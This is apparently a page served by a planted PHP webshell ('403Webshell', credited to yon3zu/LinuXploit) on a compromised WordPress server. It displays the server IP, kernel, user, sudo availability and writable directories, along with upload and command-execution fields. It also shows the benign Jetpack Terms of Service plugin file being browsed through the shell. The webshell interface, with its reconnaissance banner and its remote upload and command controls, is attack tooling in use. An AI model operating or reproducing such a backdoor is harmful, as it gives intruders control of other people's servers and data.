403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html.old.2026-01-23/wp-content/plugins/jetpack/modules/wpcom-tos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html.old.2026-01-23/wp-content/plugins/jetpack/modules/wpcom-tos/wpcom-tos.php
<?php
/**
 * Handles acceptance of WordPress.com Terms of Service for sites connected to WP.com.
 *
 * This is auto-loaded as of Jetpack v8.3 for WP.com connected-sites only.
 *
 * @package automattic/jetpack
 */

namespace Automattic\Jetpack\TOS;

use Automattic\Jetpack\Connection\Client;

if ( ! defined( 'ABSPATH' ) ) {
	exit( 0 );
}

/**
 * Makes a request to the WP.com legal endpoint to mark the Terms of Service as accepted.
 */
function accept_tos() {
	check_ajax_referer( 'wp_ajax_action', '_nonce' );

	$response = Client::wpcom_json_api_request_as_user(
		'/legal',
		'2',
		array(
			'method' => 'POST',
		),
		array(
			'action' => 'accept_tos',
		)
	);

	if ( is_wp_error( $response ) ) {
		// @phan-suppress-next-line PhanTypeMismatchArgumentProbablyReal -- It takes null, but its phpdoc only says int.
		wp_send_json_error( array( 'message' => __( 'Could not accept the Terms of Service. Please try again later.', 'jetpack' ) ), null, JSON_UNESCAPED_SLASHES );
		wp_die();
	}

	// @phan-suppress-next-line PhanTypeMismatchArgumentProbablyReal -- It takes null, but its phpdoc only says int.
	wp_send_json_success( $response, null, JSON_UNESCAPED_SLASHES );

	wp_die();
}

add_action( 'wp_ajax_jetpack_accept_tos', __NAMESPACE__ . '\accept_tos' );

Youez - 2016 - github.com/yon3zu
LinuXploit